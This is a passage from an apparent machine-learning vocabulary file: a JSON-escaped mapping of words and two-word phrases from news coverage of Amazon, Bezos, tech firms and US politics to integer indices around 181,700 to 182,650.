 \"management tactics\": 181693,\n  \"poles\": 181694,\n  \"married jeff\": 181695,\n  \"valerie\": 181696,\n  \"100x\": 181697,\n  \"intrigue president\": 181698,\n  \"doctor\": 181699,\n  \"ejyejuwyxo simon\": 181700,\n  \"countless internet\": 181701,\n  \"remembered greenwich\": 181702,\n  \"noted change\": 181703,\n  \"wind gusts\": 181704,\n  \"kamhi donald\": 181705,\n  \"produced report\": 181706,\n  \"just opened\": 181707,\n  \"keywords house\": 181708,\n  \"389 shares\": 181709,\n  \"consumer interests\": 181710,\n  \"department issued\": 181711,\n  \"ad buying\": 181712,\n  \"left\": 181713,\n  \"race ulrich\": 181714,\n  \"indigenous rights\": 181715,\n  \"advancing economy\": 181716,\n  \"civil society\": 181717,\n  \"265 points\": 181718,\n  \"global oversight\": 181719,\n  \"actual employees\": 181720,\n  \"billion credit\": 181721,\n  \"randy brooks\": 181722,\n  \"costs thanks\": 181723,\n  \"fan children\": 181724,\n  \"foreign influence\": 181725,\n  \"benioff doubled\": 181726,\n  \"twitter deletes\": 181727,\n  \"administration defiance\": 181728,\n  \"stint\": 181729,\n  \"time bezos\": 181730,\n  \"wanderer plus\": 181731,\n  \"post practically\": 181732,\n  \"political movement\": 181733,\n  \"swords\": 181734,\n  \"szklarski cassandra\": 181735,\n  \"know taking\": 181736,\n  \"licenses google\": 181737,\n  \"honor roll\": 181738,\n  \"amzn apple\": 181739,\n  \"lawmakers criticize\": 181740,\n  \"cuomo thank\": 181741,\n  \"set aside\": 181742,\n  \"mans racing\": 181743,\n  \"monitor harvey\": 181744,\n  \"island legislators\": 181745,\n  \"franzia explains\": 181746,\n  \"reup\": 181747,\n  \"brody book\": 181748,\n  \"stock exposure\": 181749,\n  \"jerritt\": 181750,\n  \"fubotv cbs\": 181751,\n  \"time tax\": 181752,\n  \"record sanders\": 181753,\n  \"marketwatch orfacebook\": 181754,\n  \"records following\": 181755,\n  \"1732et\": 181756,\n  \"swinging talked\": 181757,\n  \"facilities home\": 181758,\n  \"yee\": 181759,\n  \"jobs numbers\": 181760,\n  \"publication thanks\": 181761,\n  \"baby warren\": 181762,\n  \"comparison website\": 181763,\n  \"teach\": 181764,\n  \"germs\": 181765,\n  \"won carry\": 181766,\n  \"citigroup employee\": 181767,\n  \"great danger\": 181768,\n  \"computing gig\": 181769,\n  \"q6 substring\": 181770,\n  \"lured amazon\": 181771,\n  \"germain reported\": 181772,\n  \"report particulars\": 181773,\n  \"skull\": 181774,\n  \"queens according\": 181775,\n  \"research estimates\": 181776,\n  \"mackenzie finalized\": 181777,\n  \"draining\": 181778,\n  \"administrative reforms\": 181779,\n  \"hedging\": 181780,\n  \"large military\": 181781,\n  \"fundamental omission\": 181782,\n  \"rights\": 181783,\n  \"squire patton\": 181784,\n  \"named patrick\": 181785,\n  \"gates gates\": 181786,\n  \"heartbreak\": 181787,\n  \"party rule\": 181788,\n  \"russian agent\": 181789,\n  \"morgan modern\": 181790,\n  \"ryan joins\": 181791,\n  \"related criticism\": 181792,\n  \"biodiversity impact\": 181793,\n  \"shock 140bn\": 181794,\n  \"tallahassee police\": 181795,\n  \"untypical\": 181796,\n  \"homes partnering\": 181797,\n  \"raymond fisman\": 181798,\n  \"personalized technology\": 181799,\n  \"app forget\": 181800,\n  \"impacting society\": 181801,\n  \"won hurt\": 181802,\n  \"blackmailing trump\": 181803,\n  \"include commerce\": 181804,\n  \"splc appear\": 181805,\n  \"chronicled period\": 181806,\n  \"shone light\": 181807,\n  \"hashing\": 181808,\n  \"thrilling\": 181809,\n  \"douliery pool\": 181810,\n  \"reduce rainfall\": 181811,\n  \"including tools\": 181812,\n  \"letter carrier\": 181813,\n  \"hu\": 181814,\n  \"forecast google\": 181815,\n  \"crimson tide\": 181816,\n  \"arabian government\": 181817,\n  \"attack squad\": 181818,\n  \"green reported\": 181819,\n  \"beast takes\": 181820,\n  \"spendier\": 181821,\n  \"ross yes\": 181822,\n  \"debt buying\": 181823,\n  \"summit george\": 181824,\n  \"travel blitz\": 181825,\n  \"savory hall\": 181826,\n  \"jersey woman\": 181827,\n  \"glowing white\": 181828,\n  \"attribution\": 181829,\n  \"weathered insults\": 181830,\n  \"continuing success\": 181831,\n  \"apple suppliers\": 181832,\n  \"travel secrets\": 181833,\n  \"star game\": 181834,\n  \"removeattr href\": 181835,\n  \"public school\": 181836,\n  \"frazier noting\": 181837,\n  \"reinvent\": 181838,\n  \"executive steve\": 181839,\n  \"walked nonetheless\": 181840,\n  \"sales rival\": 181841,\n  \"veteran\": 181842,\n  \"interactive games\": 181843,\n  \"000 queens\": 181844,\n  \"cmcsa owner\": 181845,\n  \"new mother\": 181846,\n  \"evolution man\": 181847,\n  \"relationship 2018\": 181848,\n  \"scene fedex\": 181849,\n  \"chain logistics\": 181850,\n  \"airlines complies\": 181851,\n  \"city vision\": 181852,\n  \"did bad\": 181853,\n  \"officially sanctioned\": 181854,\n  \"seals\": 181855,\n  \"chess\": 181856,\n  \"randy dunn\": 181857,\n  \"times chef\": 181858,\n  \"klem\": 181859,\n  \"motivated federal\": 181860,\n  \"remember walmart\": 181861,\n  \"metropolitan leaders\": 181862,\n  \"developed strict\": 181863,\n  \"airline entrepreneur\": 181864,\n  \"dangerous chilling\": 181865,\n  \"nondefense\": 181866,\n  \"s8 g8\": 181867,\n  \"tyra\": 181868,\n  \"hazy\": 181869,\n  \"recollection\": 181870,\n  \"remain unconvinced\": 181871,\n  \"domain unit\": 181872,\n  \"lsd today\": 181873,\n  \"griffeth\": 181874,\n  \"longer statement\": 181875,\n  \"270 days\": 181876,\n  \"unusual manner\": 181877,\n  \"abattoir weirder\": 181878,\n  \"customer trends\": 181879,\n  \"striking terms\": 181880,\n  \"100 adobe\": 181881,\n  \"managers control\": 181882,\n  \"rex\": 181883,\n  \"judge jeanine\": 181884,\n  \"2015s\": 181885,\n  \"ly 2rqdhqz\": 181886,\n  \"people surmise\": 181887,\n  \"harvest\": 181888,\n  \"google founders\": 181889,\n  \"stamps rich\": 181890,\n  \"florida 46th\": 181891,\n  \"contracts joshua\": 181892,\n  \"era gains\": 181893,\n  \"repeatedly saying\": 181894,\n  \"reef die\": 181895,\n  \"griffin check\": 181896,\n  \"read sanders\": 181897,\n  \"changed block\": 181898,\n  \"poll annual\": 181899,\n  \"downright falsehoods\": 181900,\n  \"190 shares\": 181901,\n  \"spending 400\": 181902,\n  \"executive rosalind\": 181903,\n  \"fact based\": 181904,\n  \"transportation systems\": 181905,\n  \"bezos throwing\": 181906,\n  \"affordable delivery\": 181907,\n  \"service director\": 181908,\n  \"amgen\": 181909,\n  \"worse jill\": 181910,\n  \"fining\": 181911,\n  \"season according\": 181912,\n  \"perfectly good\": 181913,\n  \"perry remembered\": 181914,\n  \"toadstool trump\": 181915,\n  \"total shares\": 181916,\n  \"thoroughly investigating\": 181917,\n  \"r15 87bn\": 181918,\n  \"mansueto\": 181919,\n  \"profiled\": 181920,\n  \"private parties\": 181921,\n  \"helplessly\": 181922,\n  \"2009 birmingham\": 181923,\n  \"classic flick\": 181924,\n  \"russia meddled\": 181925,\n  \"magic fortune\": 181926,\n  \"manufacturers testing\": 181927,\n  \"breadcrumbs contained\": 181928,\n  \"sales does\": 181929,\n  \"war tariffs\": 181930,\n  \"extradition\": 181931,\n  \"google mini\": 181932,\n  \"won hike\": 181933,\n  \"just 466\": 181934,\n  \"press milk\": 181935,\n  \"pecker company\": 181936,\n  \"major upstarts\": 181937,\n  \"course knows\": 181938,\n  \"group walmart\": 181939,\n  \"exhausted\": 181940,\n  \"half billion\": 181941,\n  \"coverage leading\": 181942,\n  \"lexi pursley\": 181943,\n  \"receive public\": 181944,\n  \"similar story\": 181945,\n  \"affair discrediting\": 181946,\n  \"particulars unsustainable\": 181947,\n  \"post reagan\": 181948,\n  \"kelman\": 181949,\n  \"right people\": 181950,\n  \"announcedwell\": 181951,\n  \"manchester bombing\": 181952,\n  \"progressive agenda\": 181953,\n  \"contact jesse\": 181954,\n  \"especially rural\": 181955,\n  \"york rangers\": 181956,\n  \"added panel\": 181957,\n  \"invade indigenous\": 181958,\n  \"thisbill\": 181959,\n  \"deteriorate standalone\": 181960,\n  \"usps overhead\": 181961,\n  \"harm people\": 181962,\n  \"nuclear tests\": 181963,\n  \"contra costa\": 181964,\n  \"president levy\": 181965,\n  \"tamblyn started\": 181966,\n  \"trump asylum\": 181967,\n  \"candidates boeing\": 181968,\n  \"quote msnbc\": 181969,\n  \"loses revenue\": 181970,\n  \"longtime murakami\": 181971,\n  \"irving 100\": 181972,\n  \"rick tyler\": 181973,\n  \"pricing plan\": 181974,\n  \"concept cease\": 181975,\n  \"physics\": 181976,\n  \"wing activists\": 181977,\n  \"planetary potency\": 181978,\n  \"sanders tour\": 181979,\n  \"campaign supporter\": 181980,\n  \"headquarters rents\": 181981,\n  \"manager trump\": 181982,\n  \"necessities tulsa\": 181983,\n  \"vilified threatened\": 181984,\n  \"palaces\": 181985,\n  \"best shot\": 181986,\n  \"married ivana\": 181987,\n  \"people rights\": 181988,\n  \"robach greece\": 181989,\n  \"staging\": 181990,\n  \"stranger nadler\": 181991,\n  \"government contractsanalysts\": 181992,\n  \"contributor jeff\": 181993,\n  \"midterms voter\": 181994,\n  \"brand suffered\": 181995,\n  \"coverage couple\": 181996,\n  \"sanders continues\": 181997,\n  \"cards right\": 181998,\n  \"drivers don\": 181999,\n  \"stop characterising\": 182000,\n  \"futures pull\": 182001,\n  \"protesters marched\": 182002,\n  \"soon dress\": 182003,\n  \"pete frates\": 182004,\n  \"trump forum\": 182005,\n  \"profitable advertising\": 182006,\n  \"adverse effect\": 182007,\n  \"pouncing\": 182008,\n  \"coffee ability\": 182009,\n  \"unlikely new\": 182010,\n  \"publishing politically\": 182011,\n  \"posted net\": 182012,\n  \"2018 politics\": 182013,\n  \"spotlight recently\": 182014,\n  \"weren returned\": 182015,\n  \"think participant\": 182016,\n  \"biotech\": 182017,\n  \"afghan gov\": 182018,\n  \"approximately 500\": 182019,\n  \"landover md\": 182020,\n  \"hall girls\": 182021,\n  \"note stuart\": 182022,\n  \"extraordinary presidential\": 182023,\n  \"hurting republican\": 182024,\n  \"joe donnelly\": 182025,\n  \"ptsd\": 182026,\n  \"communications google\": 182027,\n  \"happily selling\": 182028,\n  \"auteurs just\": 182029,\n  \"regulatory environment\": 182030,\n  \"absolutely unacceptable\": 182031,\n  \"paid twitter\": 182032,\n  \"later photographer\": 182033,\n  \"rainfall months\": 182034,\n  \"huang ceo\": 182035,\n  \"commission component\": 182036,\n  \"bound\": 182037,\n  \"2659 bought\": 182038,\n  \"cnl_custom_article_footer\": 182039,\n  \"gold ends\": 182040,\n  \"snapshot column\": 182041,\n  \"cowardly lion\": 182042,\n  \"andrea riccio\": 182043,\n  \"average gained\": 182044,\n  \"story laura\": 182045,\n  \"amazon accuses\": 182046,\n  \"prweb emmy\": 182047,\n  \"season possibly\": 182048,\n  \"breakup cross\": 182049,\n  \"sarasara\": 182050,\n  \"forbes released\": 182051,\n  \"reprinted wall\": 182052,\n  \"kelton stephaniekelton\": 182053,\n  \"foot lost\": 182054,\n  \"arisen\": 182055,\n  \"calibrated look\": 182056,\n  \"anchor ny\": 182057,\n  \"copycats\": 182058,\n  \"ring despite\": 182059,\n  \"government investigation\": 182060,\n  \"filmmakers offer\": 182061,\n  \"insider dit\": 182062,\n  \"did piece\": 182063,\n  \"making news\": 182064,\n  \"corp exas\": 182065,\n  \"priced prime\": 182066,\n  \"bolsonaro transition\": 182067,\n  \"amazon forces\": 182068,\n  \"tightened restrictions\": 182069,\n  \"manufacturing lawsuit\": 182070,\n  \"build business\": 182071,\n  \"case papa\": 182072,\n  \"panel approves\": 182073,\n  \"jungle trade\": 182074,\n  \"doj concerns\": 182075,\n  \"draw technology\": 182076,\n  \"ahead immigrant\": 182077,\n  \"automaker says\": 182078,\n  \"news fox\": 182079,\n  \"significantly starting\": 182080,\n  \"huge attempt\": 182081,\n  \"formula\": 182082,\n  \"drones play\": 182083,\n  \"mail business\": 182084,\n  \"amazon projects\": 182085,\n  \"fiscal year\": 182086,\n  \"profitable number\": 182087,\n  \"swiss voters\": 182088,\n  \"looking just\": 182089,\n  \"feds powell\": 182090,\n  \"counterpunch afloat\": 182091,\n  \"kalanick\": 182092,\n  \"private ideally\": 182093,\n  \"businesses google\": 182094,\n  \"feel encouraged\": 182095,\n  \"bossturning\": 182096,\n  \"choir\": 182097,\n  \"travel world\": 182098,\n  \"little drop\": 182099,\n  \"named organizations\": 182100,\n  \"pruitt ethics\": 182101,\n  \"say things\": 182102,\n  \"fairly broad\": 182103,\n  \"poll security\": 182104,\n  \"284x160 getty_173218731_200015422000928060_388160\": 182105,\n  \"state brazil\": 182106,\n  \"handle delivery\": 182107,\n  \"madeleine\": 182108,\n  \"jim\": 182109,\n  \"daftness netflix\": 182110,\n  \"grassroots supporters\": 182111,\n  \"hydrochlorothiazide tablets\": 182112,\n  \"immigrant center\": 182113,\n  \"wolff copies\": 182114,\n  \"major break\": 182115,\n  \"today tomorrow\": 182116,\n  \"2018 microsoft\": 182117,\n  \"international agreement\": 182118,\n  \"alessandra munduruku\": 182119,\n  \"initiatives far\": 182120,\n  \"paper provided\": 182121,\n  \"title ix\": 182122,\n  \"eventually approved\": 182123,\n  \"years uber\": 182124,\n  \"standard set\": 182125,\n  \"resignation looks\": 182126,\n  \"symphony orchestra\": 182127,\n  \"recent wave\": 182128,\n  \"hogan gidley\": 182129,\n  \"comey president\": 182130,\n  \"currently claims\": 182131,\n  \"operate data\": 182132,\n  \"having mono\": 182133,\n  \"sales instagram\": 182134,\n  \"upper\": 182135,\n  \"derogatory\": 182136,\n  \"life helping\": 182137,\n  \"fairy dust\": 182138,\n  \"spotlight bezos\": 182139,\n  \"hotel chains\": 182140,\n  \"incentives look\": 182141,\n  \"100m\": 182142,\n  \"wouldn just\": 182143,\n  \"a1 qa\": 182144,\n  \"nungesser shows\": 182145,\n  \"misheard\": 182146,\n  \"n2x z8\": 182147,\n  \"juul surpasses\": 182148,\n  \"quieter share\": 182149,\n  \"explicit proof\": 182150,\n  \"tax policy\": 182151,\n  \"danish liberal\": 182152,\n  \"chief david\": 182153,\n  \"incredible\": 182154,\n  \"holly rutt\": 182155,\n  \"zip\": 182156,\n  \"bigger flashier\": 182157,\n  \"media including\": 182158,\n  \"franklin ap\": 182159,\n  \"juggernaut game\": 182160,\n  \"reports repeated\": 182161,\n  \"flying robot\": 182162,\n  \"applaud choice\": 182163,\n  \"british retailers\": 182164,\n  \"destabilize\": 182165,\n  \"learn multiplication\": 182166,\n  \"regualar ebay\": 182167,\n  \"queens partnerships\": 182168,\n  \"nyt alum\": 182169,\n  \"insists talks\": 182170,\n  \"facing dire\": 182171,\n  \"using creative\": 182172,\n  \"fixed_positions utm_term\": 182173,\n  \"kit business\": 182174,\n  \"photo timothy\": 182175,\n  \"pharmacy chains\": 182176,\n  \"aaa travel\": 182177,\n  \"jeff lane\": 182178,\n  \"frequent walmart\": 182179,\n  \"publish biblical\": 182180,\n  \"expectancy\": 182181,\n  \"1994 founding\": 182182,\n  \"alonzo pe\\u00f1a\": 182183,\n  \"supremacy\": 182184,\n  \"considered sacred\": 182185,\n  \"fissures\": 182186,\n  \"starting campaign\": 182187,\n  \"helena\": 182188,\n  \"grab copy\": 182189,\n  \"conquer\": 182190,\n  \"servers investigators\": 182191,\n  \"rates saying\": 182192,\n  \"assets 181002134913\": 182193,\n  \"punitive\": 182194,\n  \"previously engaged\": 182195,\n  \"ty\": 182196,\n  \"blissfully unaware\": 182197,\n  \"newsome\": 182198,\n  \"book weight\": 182199,\n  \"twitter target\": 182200,\n  \"political commentator\": 182201,\n  \"gdpr\": 182202,\n  \"cvs logo\": 182203,\n  \"rangers claims\": 182204,\n  \"spread wholesale\": 182205,\n  \"kid flagged\": 182206,\n  \"hotel owner\": 182207,\n  \"recently insinuated\": 182208,\n  \"000 increase\": 182209,\n  \"biggest jump\": 182210,\n  \"business startups\": 182211,\n  \"began laying\": 182212,\n  \"writing gig\": 182213,\n  \"litigation president\": 182214,\n  \"plaudits bezos\": 182215,\n  \"additional legal\": 182216,\n  \"fellow republican\": 182217,\n  \"market morgan\": 182218,\n  \"testify michael\": 182219,\n  \"mayangdi\": 182220,\n  \"video playlists\": 182221,\n  \"printout\": 182222,\n  \"bruce rauner\": 182223,\n  \"antagonized\": 182224,\n  \"bringing cheaper\": 182225,\n  \"music publishers\": 182226,\n  \"vector\": 182227,\n  \"chicago property\": 182228,\n  \"regulation according\": 182229,\n  \"bolsonaro known\": 182230,\n  \"high trump\": 182231,\n  \"amazon owns\": 182232,\n  \"good choice\": 182233,\n  \"similar media\": 182234,\n  \"harm 2018\": 182235,\n  \"post carell\": 182236,\n  \"hugh jackman\": 182237,\n  \"increased efficiencies\": 182238,\n  \"recently food\": 182239,\n  \"companies simply\": 182240,\n  \"grimly tells\": 182241,\n  \"goddamn strange\": 182242,\n  \"alt left\": 182243,\n  \"human kindness\": 182244,\n  \"apwu\": 182245,\n  \"fictional news\": 182246,\n  \"series based\": 182247,\n  \"late payments\": 182248,\n  \"utmost happiness\": 182249,\n  \"shamelessly admitted\": 182250,\n  \"false inc_custom_footer\": 182251,\n  \"chinese economic\": 182252,\n  \"kill practices\": 182253,\n  \"kitty educational\": 182254,\n  \"major antitrust\": 182255,\n  \"post tmz\": 182256,\n  \"telling amazon\": 182257,\n  \"blackmail attempt\": 182258,\n  \"ignoring pleas\": 182259,\n  \"feel incredibly\": 182260,\n  \"kill\": 182261,\n  \"eye opener\": 182262,\n  \"contains confidential\": 182263,\n  \"dusts\": 182264,\n  \"nobre warned\": 182265,\n  \"2018 grandinetti\": 182266,\n  \"memorial service\": 182267,\n  \"ouroboros dawn\": 182268,\n  \"regular targets\": 182269,\n  \"expected volume\": 182270,\n  \"suggested looking\": 182271,\n  \"cost methodology\": 182272,\n  \"sell network\": 182273,\n  \"shift funai\": 182274,\n  \"wires prefer\": 182275,\n  \"week president\": 182276,\n  \"andrew\": 182277,\n  \"assign\": 182278,\n  \"saner\": 182279,\n  \"cosmopolitan\": 182280,\n  \"pounds loss\": 182281,\n  \"cure\": 182282,\n  \"dual headquarters\": 182283,\n  \"auction houses\": 182284,\n  \"methodology essentially\": 182285,\n  \"toad\": 182286,\n  \"week lows\": 182287,\n  \"primary prior\": 182288,\n  \"morning inc_filelocation\": 182289,\n  \"days week\": 182290,\n  \"maligned\": 182291,\n  \"specifically asked\": 182292,\n  \"large isps\": 182293,\n  \"regularly used\": 182294,\n  \"companies enjoy\": 182295,\n  \"old man\": 182296,\n  \"000 ready\": 182297,\n  \"holiday hiring\": 182298,\n  \"calculating\": 182299,\n  \"facebook video\": 182300,\n  \"sector division\": 182301,\n  \"page legislation\": 182302,\n  \"conspiracy\": 182303,\n  \"nuclear testing\": 182304,\n  \"snarky tweet\": 182305,\n  \"political pecker\": 182306,\n  \"paying homage\": 182307,\n  \"answer outright\": 182308,\n  \"bombing\": 182309,\n  \"bonn\\u00e9 punch\": 182310,\n  \"outdated law\": 182311,\n  \"interval\": 182312,\n  \"gum chewing\": 182313,\n  \"consolation prize\": 182314,\n  \"chris learned\": 182315,\n  \"vanishing middle\": 182316,\n  \"official federal\": 182317,\n  \"adopted constitutional\": 182318,\n  \"autonomous right\": 182319,\n  \"1tn figure\": 182320,\n  \"big fast\": 182321,\n  \"sanchez calling\": 182322,\n  \"missing appointments\": 182323,\n  \"offer deep\": 182324,\n  \"sharing result\": 182325,\n  \"year excluding\": 182326,\n  \"monopolies apple\": 182327,\n  \"illegals flooding\": 182328,\n  \"simultaneous\": 182329,\n  \"payments editor\": 182330,\n  \"statements bezos\": 182331,\n  \"magnate\": 182332,\n  \"netflixs feverish\": 182333,\n  \"potential licensing\": 182334,\n  \"kavanaugh apologized\": 182335,\n  \"860 million\": 182336,\n  \"city dressed\": 182337,\n  \"exploded\": 182338,\n  \"stringent safety\": 182339,\n  \"educational assistants\": 182340,\n  \"raiders\": 182341,\n  \"flawed models\": 182342,\n  \"rest congratulations\": 182343,\n  \"resist 2018\": 182344,\n  \"actor needed\": 182345,\n  \"videopinner\": 182346,\n  \"greatest democracy\": 182347,\n  \"reasons profits\": 182348,\n  \"separation insisting\": 182349,\n  \"damara alves\": 182350,\n  \"exchange realdonaldtrump\": 182351,\n  \"petitions\": 182352,\n  \"provision buried\": 182353,\n  \"subscription amazon\": 182354,\n  \"southern nyse\": 182355,\n  \"reached billion\": 182356,\n  \"xilinx nasdaq\": 182357,\n  \"company announcing\": 182358,\n  \"hot commodity\": 182359,\n  \"balcony fell\": 182360,\n  \"county police\": 182361,\n  \"sales products\": 182362,\n  \"stop china\": 182363,\n  \"emma appleton\": 182364,\n  \"dubbed disruptor\": 182365,\n  \"families ___________________________\": 182366,\n  \"bezos refused\": 182367,\n  \"policy think\": 182368,\n  \"mountains cooling\": 182369,\n  \"states efforts\": 182370,\n  \"tennessee rally\": 182371,\n  \"smal\": 182372,\n  \"gmb trade\": 182373,\n  \"retailers amazon\": 182374,\n  \"gates phrased\": 182375,\n  \"include miller\": 182376,\n  \"khosrowshahi\": 182377,\n  \"index fell\": 182378,\n  \"ami relating\": 182379,\n  \"inc_display_video_at_bottomflag false\": 182380,\n  \"broad reach\": 182381,\n  \"shrink grocery\": 182382,\n  \"bezos 2750521\": 182383,\n  \"giant apple\": 182384,\n  \"enforcement lessons\": 182385,\n  \"reassurances\": 182386,\n  \"century amsterdam\": 182387,\n  \"canadian music\": 182388,\n  \"longest entry\": 182389,\n  \"remind journalists\": 182390,\n  \"difficult year\": 182391,\n  \"finance analyzed\": 182392,\n  \"things start\": 182393,\n  \"exiting\": 182394,\n  \"hollis\": 182395,\n  \"hubris\": 182396,\n  \"visit newark\": 182397,\n  \"notorious scandal\": 182398,\n  \"personalized\": 182399,\n  \"contributed large\": 182400,\n  \"democrat amy\": 182401,\n  \"2018 erin\": 182402,\n  \"criticises amazon\": 182403,\n  \"pro agribusiness\": 182404,\n  \"greer\": 182405,\n  \"coroner search\": 182406,\n  \"reffed\": 182407,\n  \"launched test\": 182408,\n  \"dear chefs\": 182409,\n  \"gap program\": 182410,\n  \"disappeared completely\": 182411,\n  \"theft amazon\": 182412,\n  \"sanchez expanded\": 182413,\n  \"allowed tech\": 182414,\n  \"called john\": 182415,\n  \"antitrust fines\": 182416,\n  \"set chops\": 182417,\n  \"disturbing instead\": 182418,\n  \"evasion lying\": 182419,\n  \"location opened\": 182420,\n  \"make search\": 182421,\n  \"included racy\": 182422,\n  \"coke\": 182423,\n  \"p9x case\": 182424,\n  \"direct attack\": 182425,\n  \"celebrity\": 182426,\n  \"hussle memorial\": 182427,\n  \"similar situation\": 182428,\n  \"sunscreen bathing\": 182429,\n  \"help children\": 182430,\n  \"clear dustup\": 182431,\n  \"potential relationship\": 182432,\n  \"wouldn address\": 182433,\n  \"recommended changes\": 182434,\n  \"limos helicopter\": 182435,\n  \"card focus\": 182436,\n  \"bay street\": 182437,\n  \"tsunami chicago\": 182438,\n  \"pizzagate\": 182439,\n  \"company typically\": 182440,\n  \"bring civil\": 182441,\n  \"bamboo cutting\": 182442,\n  \"steel shares\": 182443,\n  \"campaign bernie\": 182444,\n  \"portuguese\": 182445,\n  \"told news\": 182446,\n  \"eagle eyed\": 182447,\n  \"technology development\": 182448,\n  \"great city\": 182449,\n  \"nutanix\": 182450,\n  \"nyu stern\": 182451,\n  \"party investors\": 182452,\n  \"impress tweet\": 182453,\n  \"addicts\": 182454,\n  \"diminished experience\": 182455,\n  \"long animal\": 182456,\n  \"lovely pure\": 182457,\n  \"raisfeld rob\": 182458,\n  \"undergoes horrors\": 182459,\n  \"terminating\": 182460,\n  \"mention video\": 182461,\n  \"harms consumers\": 182462,\n  \"med sectors\": 182463,\n  \"company private\": 182464,\n  \"trump electoral\": 182465,\n  \"incredibles feminism\": 182466,\n  \"continued brand\": 182467,\n  \"shine wife\": 182468,\n  \"233\": 182469,\n  \"bloomberg column\": 182470,\n  \"emissions generated\": 182471,\n  \"zuckerman\": 182472,\n  \"night warren\": 182473,\n  \"supposedly values\": 182474,\n  \"var w5q\": 182475,\n  \"tedlieu\": 182476,\n  \"schuster knew\": 182477,\n  \"arizona daily\": 182478,\n  \"discount retail\": 182479,\n  \"european privacy\": 182480,\n  \"way ads\": 182481,\n  \"year 768bn\": 182482,\n  \"alexis herman\": 182483,\n  \"average estimate\": 182484,\n  \"twitty bon\": 182485,\n  \"recount georgia\": 182486,\n  \"issues prompting\": 182487,\n  \"tech news\": 182488,\n  \"relationsamazon\": 182489,\n  \"market volatility\": 182490,\n  \"general everyday\": 182491,\n  \"aunt wasn\": 182492,\n  \"man cleaning\": 182493,\n  \"jpmorgan told\": 182494,\n  \"different deaths\": 182495,\n  \"incentives group\": 182496,\n  \"leaked audio\": 182497,\n  \"unaided network\": 182498,\n  \"affordable care\": 182499,\n  \"tech leading\": 182500,\n  \"follow businessinsider\": 182501,\n  \"players gently\": 182502,\n  \"amazon follows\": 182503,\n  \"woke jon\": 182504,\n  \"tim cook\": 182505,\n  \"strict var\": 182506,\n  \"greet\": 182507,\n  \"consensually\": 182508,\n  \"susquehanna\": 182509,\n  \"persecuting bezos\": 182510,\n  \"gump moment\": 182511,\n  \"richard brodsky\": 182512,\n  \"scarier\": 182513,\n  \"rely\": 182514,\n  \"stelter wrote\": 182515,\n  \"company split\": 182516,\n  \"demographic trends\": 182517,\n  \"race surely\": 182518,\n  \"devising\": 182519,\n  \"dwarfs ebay\": 182520,\n  \"record pace\": 182521,\n  \"tattered\": 182522,\n  \"beloved world\": 182523,\n  \"marshall pencil\": 182524,\n  \"boring lecture\": 182525,\n  \"using playbook\": 182526,\n  \"6zac41n2qru\": 182527,\n  \"costs additionally\": 182528,\n  \"dominance enabling\": 182529,\n  \"history amazon\": 182530,\n  \"face\": 182531,\n  \"register trademark\": 182532,\n  \"usat ly\": 182533,\n  \"make fun\": 182534,\n  \"wait time\": 182535,\n  \"howard dylan\": 182536,\n  \"baldwin harrison\": 182537,\n  \"mistress simpson\": 182538,\n  \"group letter\": 182539,\n  \"regime christian\": 182540,\n  \"gillibrand\": 182541,\n  \"howard marshall\": 182542,\n  \"2017 chicago\": 182543,\n  \"endless delays\": 182544,\n  \"vrtx exas\": 182545,\n  \"money click\": 182546,\n  \"british academic\": 182547,\n  \"mason charged\": 182548,\n  \"reasonable requests\": 182549,\n  \"potential monopolisation\": 182550,\n  \"largest public\": 182551,\n  \"merrill\": 182552,\n  \"trump stated\": 182553,\n  \"gas steam\": 182554,\n  \"john david\": 182555,\n  \"uk mixture\": 182556,\n  \"2017 representatives\": 182557,\n  \"mexico baja\": 182558,\n  \"resigned\": 182559,\n  \"messages bezos\": 182560,\n  \"core reason\": 182561,\n  \"assert publicly\": 182562,\n  \"bombarded\": 182563,\n  \"just expanded\": 182564,\n  \"register oxford\": 182565,\n  \"napoleon hitler\": 182566,\n  \"giant octopus\": 182567,\n  \"package factors\": 182568,\n  \"reversing claims\": 182569,\n  \"hillary issues\": 182570,\n  \"experts tell\": 182571,\n  \"novel 1984\": 182572,\n  \"seeing difference\": 182573,\n  \"homecoming facility\": 182574,\n  \"minor concern\": 182575,\n  \"vendor central\": 182576,\n  \"veteran related\": 182577,\n  \"lets\": 182578,\n  \"years jumped\": 182579,\n  \"puts pressure\": 182580,\n  \"trump secret\": 182581,\n  \"examines business\": 182582,\n  \"mornings\": 182583,\n  \"101 cents\": 182584,\n  \"information\": 182585,\n  \"company practice\": 182586,\n  \"bad text\": 182587,\n  \"ripped ocasio\": 182588,\n  \"banners emblazoned\": 182589,\n  \"black\": 182590,\n  \"year atlanta\": 182591,\n  \"emphasized bezos\": 182592,\n  \"consistent delivery\": 182593,\n  \"needs usps\": 182594,\n  \"year reports\": 182595,\n  \"land brazil\": 182596,\n  \"lower revenue\": 182597,\n  \"immigrant students\": 182598,\n  \"dissident journalist\": 182599,\n  \"questio jeff\": 182600,\n  \"announced amazon\": 182601,\n  \"federalreserve state\": 182602,\n  \"including private\": 182603,\n  \"better\": 182604,\n  \"max einstein\": 182605,\n  \"energy projects\": 182606,\n  \"black ish\": 182607,\n  \"job ads\": 182608,\n  \"powerfully works\": 182609,\n  \"treasury rates\": 182610,\n  \"later took\": 182611,\n  \"accountability\": 182612,\n  \"appointees\": 182613,\n  \"balloon\": 182614,\n  \"little taxes\": 182615,\n  \"replacing year\": 182616,\n  \"incorrect halloween\": 182617,\n  \"products beat\": 182618,\n  \"student published\": 182619,\n  \"secretary colluding\": 182620,\n  \"head gary\": 182621,\n  \"life surfaced\": 182622,\n  \"theaters earlier\": 182623,\n  \"quarter revenue\": 182624,\n  \"crossed ethical\": 182625,\n  \"level insults\": 182626,\n  \"2011 poses\": 182627,\n  \"provides clues\": 182628,\n  \"platform owner\": 182629,\n  \"department investigate\": 182630,\n  \"copper heat\": 182631,\n  \"wrong items\": 182632,\n  \"people 15k\": 182633,\n  \"extortion usa\": 182634,\n  \"purchase behaviour\": 182635,\n  \"powerful marketplace\": 182636,\n  \"growth lastly\": 182637,\n  \"harming mental\": 182638,\n  \"hate crimes\": 182639,\n  \"technical glitches\": 182640,\n  \"harney\": 182641,\n  \"looting sears\": 182642,\n  \"influential reviewers\": 182643,\n  \"pages amazon\": 182644,\n  \"poetry book\": 182645,\n  \"away second\": 182646,\n  \"bhattarai\": 182647,\n  \"mbrooker1 bloomberg\": 182648,\n  \"ability tomove\": 182649,\n  \"financial analyst\": 182650,\n  \"rhetoric told\": 182651,\n  \"connections program\": 182652,\n  \"living wage\": 182653,\n  \"glitches says\": 182654,\n  \"sham choice\": 182655,\n  \"index ranking\": 182656,\n  \"punch welch\": 182657,\n  \"uniquely democratic\": 182658,\n  